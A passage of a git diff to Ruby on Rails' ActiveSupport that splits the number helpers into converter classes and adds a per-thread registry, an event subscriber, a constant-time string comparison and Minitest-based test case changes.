- end
- options
- end
- private_module_and_instance_method :i18n_format_options
-
- def translate_number_value_with_default(key, i18n_options = {}) #:nodoc:
- default = key.split('.').reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
-
- I18n.translate(key, { default: default, scope: :number }.merge!(i18n_options))
- end
- private_module_and_instance_method :translate_number_value_with_default
-
- def valid_float?(number) #:nodoc:
- Float(number)
- rescue ArgumentError, TypeError
- false
+ NumberToHumanConverter.convert(number, options)
end
- private_module_and_instance_method :valid_float?
end
end
diff --git a/activesupport/lib/active_support/number_helper/number_converter.rb b/activesupport/lib/active_support/number_helper/number_converter.rb
new file mode 100644
index 0000000000..9d976f1831
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_converter.rb
@@ -0,0 +1,182 @@
+require 'active_support/core_ext/big_decimal/conversions'
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/i18n'
+require 'active_support/core_ext/class/attribute'
+
+module ActiveSupport
+ module NumberHelper
+ class NumberConverter # :nodoc:
+ # Default and i18n option namespace per class
+ class_attribute :namespace
+
+ # Does the object need a number that is a valid float?
+ class_attribute :validate_float
+
+ attr_reader :number, :opts
+
+ DEFAULTS = {
+ # Used in number_to_delimited
+ # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
+ format: {
+ # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
+ separator: ".",
+ # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
+ delimiter: ",",
+ # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
+ precision: 3,
+ # If set to true, precision will mean the number of significant digits instead
+ # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
+ significant: false,
+ # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
+ strip_insignificant_zeros: false
+ },
+
+ # Used in number_to_currency
+ currency: {
+ format: {
+ format: "%u%n",
+ negative_format: "-%u%n",
+ unit: "$",
+ # These five are to override number.format and are optional
+ separator: ".",
+ delimiter: ",",
+ precision: 2,
+ significant: false,
+ strip_insignificant_zeros: false
+ }
+ },
+
+ # Used in number_to_percentage
+ percentage: {
+ format: {
+ delimiter: "",
+ format: "%n%"
+ }
+ },
+
+ # Used in number_to_rounded
+ precision: {
+ format: {
+ delimiter: ""
+ }
+ },
+
+ # Used in number_to_human_size and number_to_human
+ human: {
+ format: {
+ # These five are to override number.format and are optional
+ delimiter: "",
+ precision: 3,
+ significant: true,
+ strip_insignificant_zeros: true
+ },
+ # Used in number_to_human_size
+ storage_units: {
+ # Storage units output formatting.
+ # %u is the storage unit, %n is the number (default: 2 MB)
+ format: "%n %u",
+ units: {
+ byte: "Bytes",
+ kb: "KB",
+ mb: "MB",
+ gb: "GB",
+ tb: "TB"
+ }
+ },
+ # Used in number_to_human
+ decimal_units: {
+ format: "%n %u",
+ # Decimal units output formatting
+ # By default we will only quantify some of the exponents
+ # but the commented ones might be defined or overridden
+ # by the user.
+ units: {
+ # femto: Quadrillionth
+ # pico: Trillionth
+ # nano: Billionth
+ # micro: Millionth
+ # mili: Thousandth
+ # centi: Hundredth
+ # deci: Tenth
+ unit: "",
+ # ten:
+ # one: Ten
+ # other: Tens
+ # hundred: Hundred
+ thousand: "Thousand",
+ million: "Million",
+ billion: "Billion",
+ trillion: "Trillion",
+ quadrillion: "Quadrillion"
+ }
+ }
+ }
+ }
+
+ def self.convert(number, options)
+ new(number, options).execute
+ end
+
+ def initialize(number, options)
+ @number = number
+ @opts = options.symbolize_keys
+ end
+
+ def execute
+ if !number
+ nil
+ elsif validate_float? && !valid_float?
+ number
+ else
+ convert
+ end
+ end
+
+ private
+
+ def options
+ @options ||= format_options.merge(opts)
+ end
+
+ def format_options #:nodoc:
+ default_format_options.merge!(i18n_format_options)
+ end
+
+ def default_format_options #:nodoc:
+ options = DEFAULTS[:format].dup
+ options.merge!(DEFAULTS[namespace][:format]) if namespace
+ options
+ end
+
+ def i18n_format_options #:nodoc:
+ locale = opts[:locale]
+ options = I18n.translate(:'number.format', locale: locale, default: {}).dup
+
+ if namespace
+ options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
+ end
+
+ options
+ end
+
+ def translate_number_value_with_default(key, i18n_options = {}) #:nodoc:
+ I18n.translate(key, { default: default_value(key), scope: :number }.merge!(i18n_options))
+ end
+
+ def translate_in_locale(key, i18n_options = {})
+ translate_number_value_with_default(key, { locale: options[:locale] }.merge(i18n_options))
+ end
+
+ def default_value(key)
+ key.split('.').reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
+ end
+
+ def valid_float? #:nodoc:
+ Float(number)
+ rescue ArgumentError, TypeError
+ false
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
new file mode 100644
index 0000000000..fb5adb574a
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
@@ -0,0 +1,46 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToCurrencyConverter < NumberConverter # :nodoc:
+ self.namespace = :currency
+
+ def convert
+ number = self.number.to_s.strip
+ format = options[:format]
+
+ if is_negative?(number)
+ format = options[:negative_format]
+ number = absolute_value(number)
+ end
+
+ rounded_number = NumberToRoundedConverter.convert(number, options)
+ format.gsub(/%n/, rounded_number).gsub(/%u/, options[:unit])
+ end
+
+ private
+
+ def is_negative?(number)
+ number.to_f.phase != 0
+ end
+
+ def absolute_value(number)
+ number.respond_to?("abs") ? number.abs : number.sub(/\A-/, '')
+ end
+
+ def options
+ @options ||= begin
+ defaults = default_format_options.merge(i18n_opts)
+ # Override negative format if format options is given
+ defaults[:negative_format] = "-#{opts[:format]}" if opts[:format]
+ defaults.merge!(opts)
+ end
+ end
+
+ def i18n_opts
+ # Set International negative format if not exists
+ i18n = i18n_format_options
+ i18n[:negative_format] ||= "-#{i18n[:format]}" if i18n[:format]
+ i18n
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
new file mode 100644
index 0000000000..d85cc086d7
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
@@ -0,0 +1,23 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToDelimitedConverter < NumberConverter #:nodoc:
+ self.validate_float = true
+
+ DELIMITED_REGEX = /(\d)(?=(\d\d\d)+(?!\d))/
+
+ def convert
+ parts.join(options[:separator])
+ end
+
+ private
+
+ def parts
+ left, right = number.to_s.split('.')
+ left.gsub!(DELIMITED_REGEX) do |digit_to_delimit|
+ "#{digit_to_delimit}#{options[:delimiter]}"
+ end
+ [left, right].compact
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
new file mode 100644
index 0000000000..6940beb318
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
@@ -0,0 +1,66 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToHumanConverter < NumberConverter # :nodoc:
+ DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
+ -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
+ INVERTED_DECIMAL_UNITS = DECIMAL_UNITS.invert
+
+ self.namespace = :human
+ self.validate_float = true
+
+ def convert # :nodoc:
+ @number = Float(number)
+
+ # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+ unless options.key?(:strip_insignificant_zeros)
+ options[:strip_insignificant_zeros] = true
+ end
+
+ units = opts[:units]
+ exponent = calculate_exponent(units)
+ @number = number / (10 ** exponent)
+
+ unit = determine_unit(units, exponent)
+
+ rounded_number = NumberToRoundedConverter.convert(number, options)
+ format.gsub(/%n/, rounded_number).gsub(/%u/, unit).strip
+ end
+
+ private
+
+ def format
+ options[:format] || translate_in_locale('human.decimal_units.format')
+ end
+
+ def determine_unit(units, exponent)
+ exp = DECIMAL_UNITS[exponent]
+ case units
+ when Hash
+ units[exp] || ''
+ when String, Symbol
+ I18n.translate("#{units}.#{exp}", :locale => options[:locale], :count => number.to_i)
+ else
+ translate_in_locale("human.decimal_units.units.#{exp}", count: number.to_i)
+ end
+ end
+
+ def calculate_exponent(units)
+ exponent = number != 0 ? Math.log10(number.abs).floor : 0
+ unit_exponents(units).find { |e| exponent >= e } || 0
+ end
+
+ def unit_exponents(units)
+ case units
+ when Hash
+ units
+ when String, Symbol
+ I18n.translate(units.to_s, :locale => options[:locale], :raise => true)
+ when nil
+ translate_in_locale("human.decimal_units.units", raise: true)
+ else
+ raise ArgumentError, ":units must be a Hash or String translation scope."
+ end.keys.map { |e_name| INVERTED_DECIMAL_UNITS[e_name] }.sort_by(&:-@)
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
new file mode 100644
index 0000000000..78d2c9ae6e
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
@@ -0,0 +1,58 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToHumanSizeConverter < NumberConverter #:nodoc:
+ STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb]
+
+ self.namespace = :human
+ self.validate_float = true
+
+ def convert
+ @number = Float(number)
+
+ # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+ unless options.key?(:strip_insignificant_zeros)
+ options[:strip_insignificant_zeros] = true
+ end
+
+ if smaller_than_base?
+ number_to_format = number.to_i.to_s
+ else
+ human_size = number / (base ** exponent)
+ number_to_format = NumberToRoundedConverter.convert(human_size, options)
+ end
+ conversion_format.gsub(/%n/, number_to_format).gsub(/%u/, unit)
+ end
+
+ private
+
+ def conversion_format
+ translate_number_value_with_default('human.storage_units.format', :locale => options[:locale], :raise => true)
+ end
+
+ def unit
+ translate_number_value_with_default(storage_unit_key, :locale => options[:locale], :count => number.to_i, :raise => true)
+ end
+
+ def storage_unit_key
+ key_end = smaller_than_base? ? 'byte' : STORAGE_UNITS[exponent]
+ "human.storage_units.units.#{key_end}"
+ end
+
+ def exponent
+ max = STORAGE_UNITS.size - 1
+ exp = (Math.log(number) / Math.log(base)).to_i
+ exp = max if exp > max # avoid overflow for the highest unit
+ exp
+ end
+
+ def smaller_than_base?
+ number.to_i < base
+ end
+
+ def base
+ opts[:prefix] == :si ? 1000 : 1024
+ end
+ end
+ end
+end
+
diff --git a/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
new file mode 100644
index 0000000000..1af294a03e
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
@@ -0,0 +1,12 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToPercentageConverter < NumberConverter # :nodoc:
+ self.namespace = :percentage
+
+ def convert
+ rounded_number = NumberToRoundedConverter.convert(number, options)
+ options[:format].gsub(/%n/, rounded_number)
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
new file mode 100644
index 0000000000..af2ee56d91
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
@@ -0,0 +1,49 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToPhoneConverter < NumberConverter #:nodoc:
+ def convert
+ str = country_code(opts[:country_code])
+ str << convert_to_phone_number(number.to_s.strip)
+ str << phone_ext(opts[:extension])
+ end
+
+ private
+
+ def convert_to_phone_number(number)
+ if opts[:area_code]
+ convert_with_area_code(number)
+ else
+ convert_without_area_code(number)
+ end
+ end
+
+ def convert_with_area_code(number)
+ number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
+ number
+ end
+
+ def convert_without_area_code(number)
+ number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
+ number.slice!(0, 1) if start_with_delimiter?(number)
+ number
+ end
+
+ def start_with_delimiter?(number)
+ delimiter.present? && number.start_with?(delimiter)
+ end
+
+ def delimiter
+ opts[:delimiter] || "-"
+ end
+
+ def country_code(code)
+ code.blank? ? "" : "+#{code}#{delimiter}"
+ end
+
+ def phone_ext(ext)
+ ext.blank? ? "" : " x #{ext}"
+ end
+ end
+ end
+end
+
diff --git a/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
new file mode 100644
index 0000000000..dcf9a567e8
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
@@ -0,0 +1,87 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToRoundedConverter < NumberConverter # :nodoc:
+ self.namespace = :precision
+ self.validate_float = true
+
+ def convert
+ precision = options.delete :precision
+ significant = options.delete :significant
+
+ case number
+ when Float, String
+ @number = BigDecimal(number.to_s)
+ when Rational
+ @number = BigDecimal(number, digit_count(number.to_i) + precision)
+ else
+ @number = number.to_d
+ end
+
+ if significant && precision > 0
+ digits, rounded_number = digits_and_rounded_number(precision)
+ precision -= digits
+ precision = 0 if precision < 0 # don't let it be negative
+ else
+ rounded_number = number.round(precision)
+ rounded_number = rounded_number.to_i if precision == 0
+ rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
+ end
+
+ formatted_string =
+ if BigDecimal === rounded_number && rounded_number.finite?
+ s = rounded_number.to_s('F') + '0'*precision
+ a, b = s.split('.', 2)
+ a + '.' + b[0, precision]
+ else
+ "%00.#{precision}f" % rounded_number
+ end
+
+ delimited_number = NumberToDelimitedConverter.convert(formatted_string, options)
+ format_number(delimited_number)
+ end
+
+ private
+
+ def digits_and_rounded_number(precision)
+ if zero?
+ [1, 0]
+ else
+ digits = digit_count(number)
+ multiplier = 10 ** (digits - precision)
+ rounded_number = calculate_rounded_number(multiplier)
+ digits = digit_count(rounded_number) # After rounding, the number of digits may have changed
+ [digits, rounded_number]
+ end
+ end
+
+ def calculate_rounded_number(multiplier)
+ (number / BigDecimal.new(multiplier.to_f.to_s)).round * multiplier
+ end
+
+ def digit_count(number)
+ number.zero? ? 1 : (Math.log10(absolute_number(number)) + 1).floor
+ end
+
+ def strip_insignificant_zeros
+ options[:strip_insignificant_zeros]
+ end
+
+ def format_number(number)
+ if strip_insignificant_zeros
+ escaped_separator = Regexp.escape(options[:separator])
+ number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
+ else
+ number
+ end
+ end
+
+ def absolute_number(number)
+ number.respond_to?(:abs) ? number.abs : number.to_d.abs
+ end
+
+ def zero?
+ number.respond_to?(:zero?) ? number.zero? : number.to_d.zero?
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/option_merger.rb b/activesupport/lib/active_support/option_merger.rb
index e55ffd12c3..dea84e437f 100644
--- a/activesupport/lib/active_support/option_merger.rb
+++ b/activesupport/lib/active_support/option_merger.rb
@@ -12,7 +12,7 @@ module ActiveSupport
private
def method_missing(method, *arguments, &block)
- if arguments.last.is_a?(Proc)
+ if arguments.first.is_a?(Proc)
proc = arguments.pop
arguments << lambda { |*args| @options.deep_merge(proc.call(*args)) }
else
diff --git a/activesupport/lib/active_support/ordered_hash.rb b/activesupport/lib/active_support/ordered_hash.rb
index 1a3693f766..4680d5acb7 100644
--- a/activesupport/lib/active_support/ordered_hash.rb
+++ b/activesupport/lib/active_support/ordered_hash.rb
@@ -28,6 +28,14 @@ module ActiveSupport
coder.represent_seq '!omap', map { |k,v| { k => v } }
end
+ def select(*args, &block)
+ dup.tap { |hash| hash.select!(*args, &block) }
+ end
+
+ def reject(*args, &block)
+ dup.tap { |hash| hash.reject!(*args, &block) }
+ end
+
def nested_under_indifferent_access
self
end
diff --git a/activesupport/lib/active_support/ordered_options.rb b/activesupport/lib/active_support/ordered_options.rb
index c9518bda79..a33e2c58a9 100644
--- a/activesupport/lib/active_support/ordered_options.rb
+++ b/activesupport/lib/active_support/ordered_options.rb
@@ -40,6 +40,14 @@ module ActiveSupport
end
end
+ # +InheritableOptions+ provides a constructor to build an +OrderedOptions+
+ # hash inherited from another hash.
+ #
+ # Use this if you already have some hash and you want to create a new one based on it.
+ #
+ # h = ActiveSupport::InheritableOptions.new({ girl: 'Mary', boy: 'John' })
+ # h.girl # => 'Mary'
+ # h.boy # => 'John'
class InheritableOptions < OrderedOptions
def initialize(parent = nil)
if parent.kind_of?(OrderedOptions)
diff --git a/activesupport/lib/active_support/per_thread_registry.rb b/activesupport/lib/active_support/per_thread_registry.rb
new file mode 100644
index 0000000000..ca2e4d5625
--- /dev/null
+++ b/activesupport/lib/active_support/per_thread_registry.rb
@@ -0,0 +1,53 @@
+module ActiveSupport
+ # This module is used to encapsulate access to thread local variables.
+ #
+ # Instead of polluting the thread locals namespace:
+ #
+ # Thread.current[:connection_handler]
+ #
+ # you define a class that extends this module:
+ #
+ # module ActiveRecord
+ # class RuntimeRegistry
+ # extend ActiveSupport::PerThreadRegistry
+ #
+ # attr_accessor :connection_handler
+ # end
+ # end
+ #
+ # and invoke the declared instance accessors as class methods. So
+ #
+ # ActiveRecord::RuntimeRegistry.connection_handler = connection_handler
+ #
+ # sets a connection handler local to the current thread, and
+ #
+ # ActiveRecord::RuntimeRegistry.connection_handler
+ #
+ # returns a connection handler local to the current thread.
+ #
+ # This feature is accomplished by instantiating the class and storing the
+ # instance as a thread local keyed by the class name. In the example above
+ # a key "ActiveRecord::RuntimeRegistry" is stored in <tt>Thread.current</tt>.
+ # The class methods proxy to said thread local instance.
+ #
+ # If the class has an initializer, it must accept no arguments.
+ module PerThreadRegistry
+ def self.extended(object)
+ object.instance_variable_set '@per_thread_registry_key', object.name.freeze
+ end
+
+ def instance
+ Thread.current[@per_thread_registry_key] ||= new
+ end
+
+ protected
+ def method_missing(name, *args, &block) # :nodoc:
+ # Caches the method definition as a singleton method of the receiver.
+ define_singleton_method(name) do |*a, &b|
+ instance.public_send(name, *a, &b)
+ end
+
+ send(name, *args, &block)
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/proxy_object.rb b/activesupport/lib/active_support/proxy_object.rb
index a2bdf1d790..20a0fd8e62 100644
--- a/activesupport/lib/active_support/proxy_object.rb
+++ b/activesupport/lib/active_support/proxy_object.rb
@@ -5,7 +5,7 @@ module ActiveSupport
undef_method :==
undef_method :equal?
- # Let ActiveSupport::BasicObject at least raise exceptions.
+ # Let ActiveSupport::ProxyObject at least raise exceptions.
def raise(*args)
::Object.send(:raise, *args)
end
diff --git a/activesupport/lib/active_support/queueing.rb b/activesupport/lib/active_support/queueing.rb
deleted file mode 100644
index a89a48d057..0000000000
--- a/activesupport/lib/active_support/queueing.rb
+++ /dev/null
@@ -1,105 +0,0 @@
-require 'delegate'
-require 'thread'
-
-module ActiveSupport
- # A Queue that simply inherits from STDLIB's Queue. When this
- # queue is used, Rails automatically starts a job runner in a
- # background thread.
- class Queue < ::Queue
- attr_writer :consumer
-
- def initialize(consumer_options = {})
- super()
- @consumer_options = consumer_options
- end
-
- def consumer
- @consumer ||= ThreadedQueueConsumer.new(self, @consumer_options)
- end
-
- # Drain the queue, running all jobs in a different thread. This method
- # may not be available on production queues.
- def drain
- # run the jobs in a separate thread so assumptions of synchronous
- # jobs are caught in test mode.
- consumer.drain
- end
- end
-
- class SynchronousQueue < Queue
- def push(job)
- super.tap { drain }
- end
- alias << push
- alias enq push
- end
-
- # In test mode, the Rails queue is backed by an Array so that assertions
- # can be made about its contents. The test queue provides a +jobs+
- # method to make assertions about the queue's contents and a +drain+
- # method to drain the queue and run the jobs.
- #
- # Jobs are run in a separate thread to catch mistakes where code
- # assumes that the job is run in the same thread.
- class TestQueue < Queue
- # Get a list of the jobs off this queue. This method may not be
- # available on production queues.
- def jobs
- @que.dup
- end
-
- # Marshal and unmarshal job before pushing it onto the queue. This will
- # raise an exception on any attempts in tests to push jobs that can't (or
- # shouldn't) be marshalled.
- def push(job)
- super Marshal.load(Marshal.dump(job))
- end
- end
-
- # The threaded consumer will run jobs in a background thread in
- # development mode or in a VM where running jobs on a thread in
- # production mode makes sense.
- #
- # When the process exits, the consumer pushes a nil onto the
- # queue and joins the thread, which will ensure that all jobs
- # are executed before the process finally dies.
- class ThreadedQueueConsumer
- attr_accessor :logger
-
- def initialize(queue, options = {})
- @queue = queue
- @logger = options[:logger]
- @fallback_logger = Logger.new($stderr)
- end
-
- def start
- @thread = Thread.new { consume }
- self
- end
-
- def shutdown
- @queue.push nil
- @thread.join
- end
-
- def drain
- @queue.pop.run until @queue.empty?
- end
-
- def consume
- while job = @queue.pop
- run job
- end
- end
-
- def run(job)
- job.run
- rescue Exception => exception
- handle_exception job, exception
- end
-
- def handle_exception(job, exception)
- (logger || @fallback_logger).error "Job Error: #{job.inspect}\n#{exception.message}\n#{exception.backtrace.join("\n")}"
- end
- end
-end
diff --git a/activesupport/lib/active_support/rescuable.rb b/activesupport/lib/active_support/rescuable.rb
index 9a038dfbca..a7eba91ac5 100644
--- a/activesupport/lib/active_support/rescuable.rb
+++ b/activesupport/lib/active_support/rescuable.rb
@@ -1,6 +1,5 @@
require 'active_support/concern'
require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/proc'
require 'active_support/core_ext/string/inflections'
require 'active_support/core_ext/array/extract_options'
diff --git a/activesupport/lib/active_support/security_utils.rb b/activesupport/lib/active_support/security_utils.rb
new file mode 100644
index 0000000000..64c4801179
--- /dev/null
+++ b/activesupport/lib/active_support/security_utils.rb
@@ -0,0 +1,20 @@
+module ActiveSupport
+ module SecurityUtils
+ # Constant time string comparison.
+ #
+ # The values compared should be of fixed length, such as strings
+ # that have already been processed by HMAC. This should not be used
+ # on variable length plaintext strings because it could leak length info
+ # via timing attacks.
+ def secure_compare(a, b)
+ return false unless a.bytesize == b.bytesize
+
+ l = a.unpack "C#{a.bytesize}"
+
+ res = 0
+ b.each_byte { |byte| res |= byte ^ l.shift }
+ res == 0
+ end
+ module_function :secure_compare
+ end
+end
diff --git a/activesupport/lib/active_support/subscriber.rb b/activesupport/lib/active_support/subscriber.rb
new file mode 100644
index 0000000000..98be78b41b
--- /dev/null
+++ b/activesupport/lib/active_support/subscriber.rb
@@ -0,0 +1,125 @@
+require 'active_support/per_thread_registry'
+
+module ActiveSupport
+ # ActiveSupport::Subscriber is an object set to consume
+ # ActiveSupport::Notifications. The subscriber dispatches notifications to
+ # a registered object based on its given namespace.
+ #
+ # An example would be Active Record subscriber responsible for collecting
+ # statistics about queries:
+ #
+ # module ActiveRecord
+ # class StatsSubscriber < ActiveSupport::Subscriber
+ # def sql(event)
+ # Statsd.timing("sql.#{event.payload[:name]}", event.duration)
+ # end
+ # end
+ # end
+ #
+ # And it's finally registered as:
+ #
+ # ActiveRecord::StatsSubscriber.attach_to :active_record
+ #
+ # Since we need to know all instance methods before attaching the log
+ # subscriber, the line above should be called after your subscriber definition.
+ #
+ # After configured, whenever a "sql.active_record" notification is published,
+ # it will properly dispatch the event (ActiveSupport::Notifications::Event) to
+ # the +sql+ method.
+ class Subscriber
+ class << self
+
+ # Attach the subscriber to a namespace.
+ def attach_to(namespace, subscriber=new, notifier=ActiveSupport::Notifications)
+ @namespace = namespace
+ @subscriber = subscriber
+ @notifier = notifier
+
+ subscribers << subscriber
+
+ # Add event subscribers for all existing methods on the class.
+ subscriber.public_methods(false).each do |event|
+ add_event_subscriber(event)
+ end
+ end
+
+ # Adds event subscribers for all new methods added to the class.
+ def method_added(event)
+ # Only public methods are added as subscribers, and only if a notifier
+ # has been set up. This means that subscribers will only be set up for
+ # classes that call #attach_to.
+ if public_method_defined?(event) && notifier
+ add_event_subscriber(event)
+ end
+ end
+
+ def subscribers
+ @@subscribers ||= []
+ end
+
+ protected
+
+ attr_reader :subscriber, :notifier, :namespace
+
+ def add_event_subscriber(event)
+ return if %w{ start finish }.include?(event.to_s)
+
+ pattern = "#{event}.#{namespace}"
+
+ # don't add multiple subscribers (eg. if methods are redefined)
+ return if subscriber.patterns.include?(pattern)
+
+ subscriber.patterns << pattern
+ notifier.subscribe(pattern, subscriber)
+ end
+ end
+
+ attr_reader :patterns # :nodoc:
+
+ def initialize
+ @queue_key = [self.class.name, object_id].join "-"
+ @patterns = []
+ super
+ end
+
+ def start(name, id, payload)
+ e = ActiveSupport::Notifications::Event.new(name, Time.now, nil, id, payload)
+ parent = event_stack.last
+ parent << e if parent
+
+ event_stack.push e
+ end
+
+ def finish(name, id, payload)
+ finished = Time.now
+ event = event_stack.pop
+ event.end = finished
+ event.payload.merge!(payload)
+
+ method = name.split('.').first
+ send(method, event)
+ end
+
+ private
+
+ def event_stack
+ SubscriberQueueRegistry.instance.get_queue(@queue_key)
+ end
+ end
+
+ # This is a registry for all the event stacks kept for subscribers.
+ #
+ # See the documentation of <tt>ActiveSupport::PerThreadRegistry</tt>
+ # for further details.
+ class SubscriberQueueRegistry # :nodoc:
+ extend PerThreadRegistry
+
+ def initialize
+ @registry = {}
+ end
+
+ def get_queue(queue_key)
+ @registry[queue_key] ||= []
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/tagged_logging.rb b/activesupport/lib/active_support/tagged_logging.rb
index 18bc919734..d5c2222d2e 100644
--- a/activesupport/lib/active_support/tagged_logging.rb
+++ b/activesupport/lib/active_support/tagged_logging.rb
@@ -1,3 +1,4 @@
+require 'active_support/core_ext/module/delegation'
require 'active_support/core_ext/object/blank'
require 'logger'
require 'active_support/logger'
diff --git a/activesupport/lib/active_support/test_case.rb b/activesupport/lib/active_support/test_case.rb
index e4f182a3aa..a4ba5989b1 100644
--- a/activesupport/lib/active_support/test_case.rb
+++ b/activesupport/lib/active_support/test_case.rb
@@ -1,72 +1,76 @@
gem 'minitest' # make sure we get the gem, not stdlib
-require 'minitest/spec'
+require 'minitest'
require 'active_support/testing/tagged_logging'
require 'active_support/testing/setup_and_teardown'
require 'active_support/testing/assertions'
require 'active_support/testing/deprecation'
-require 'active_support/testing/pending'
+require 'active_support/testing/declarative'
require 'active_support/testing/isolation'
require 'active_support/testing/constant_lookup'
+require 'active_support/testing/time_helpers'
require 'active_support/core_ext/kernel/reporting'
require 'active_support/deprecation'
-begin
- silence_warnings { require 'mocha/setup' }
-rescue LoadError
-end
-
module ActiveSupport
- class TestCase < ::MiniTest::Spec
+ class TestCase < ::Minitest::Test
+ Assertion = Minitest::Assertion
- # Use AS::TestCase for the base class when describing a model
- register_spec_type(self) do |desc|
- Class === desc && desc < ActiveRecord::Base
- end
+ class << self
+ def test_order=(new_order)
+ ActiveSupport.test_order = new_order
+ end
- Assertion = MiniTest::Assertion
- alias_method :method_name, :__name__
+ def test_order
+ test_order = ActiveSupport.test_order
- $tags = {}
- def self.for_tag(tag)
- yield if $tags[tag]
- end
+ if test_order.nil?
+ ActiveSupport::Deprecation.warn "You did not specify a value for the " \
+ "configuration option `active_support.test_order`. In Rails 5, " \
+ "the default value of this option will change from `:sorted` to " \
+ "`:random`.\n" \
+ "To disable this warning and keep the current behavior, you can add " \
+ "the following line to your `config/environments/test.rb`:\n" \
+ "\n" \
+ " Rails.application.configure do\n" \
+ " config.active_support.test_order = :sorted\n" \
+ " end\n" \
+ "\n" \
+ "Alternatively, you can opt into the future behavior by setting this " \
+ "option to `:random`."
+
+ test_order = :sorted
+ self.test_order = test_order
+ end
- # FIXME: we have tests that depend on run order, we should fix that and
- # remove this method.
- def self.test_order # :nodoc:
- :sorted
+ test_order
+ end
+
+ alias :my_tests_are_order_dependent! :i_suck_and_my_tests_are_order_dependent!
end
+ alias_method :method_name, :name
+
include ActiveSupport::Testing::TaggedLogging
include ActiveSupport::Testing::SetupAndTeardown
include ActiveSupport::Testing::Assertions
include ActiveSupport::Testing::Deprecation
- include ActiveSupport::Testing::Pending
-
- def self.describe(text)
- if block_given?
- super
- else
- message = "`describe` without a block is deprecated, please switch to: `def self.name; #{text.inspect}; end`\n"
- ActiveSupport::Deprecation.warn message
-
- class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
- def self.name
- "#{text}"
- end
- RUBY_EVAL
- end
- end
-
- class << self
- alias :test :it
- end
+ include ActiveSupport::Testing::TimeHelpers
+ extend ActiveSupport::Testing::Declarative
# test/unit backwards compatibility methods
alias :assert_raise :assert_raises
- alias :assert_not_nil :refute_nil
+ alias :assert_not_empty :refute_empty
alias :assert_not_equal :refute_equal
+ alias :assert_not_in_delta :refute_in_delta
+ alias :assert_not_in_epsilon :refute_in_epsilon
+ alias :assert_not_includes :refute_includes
+ alias :assert_not_instance_of :refute_instance_of
+ alias :assert_not_kind_of :refute_kind_of
alias :assert_no_match :refute_match
+ alias :assert_not_nil :refute_nil
+ alias :assert_not_operator :refute_operator
+ alias :assert_not_predicate :refute_predicate
+ alias :assert_not_respond_to :refute_respond_to
alias :assert_not_same :refute_same
# Fails if the block raises an exception.
diff --git a/activesupport/lib/active_support/testing/assertions.rb b/activesupport/lib/active_support/testing/assertions.rb
index 8466049e20..8b649c193f 100644
--- a/activesupport/lib/active_support/testing/assertions.rb
+++ b/activesupport/lib/active_support/testing/assertions.rb
@@ -3,6 +3,22 @@ require 'active_support/core_ext/object/blank'
module ActiveSupport
module Testing
module Assertions
+ # Assert that an expression is not truthy. Passes if <tt>object</tt> is
+ # +nil+ or +false+. "Truthy" means "considered true in a conditional"
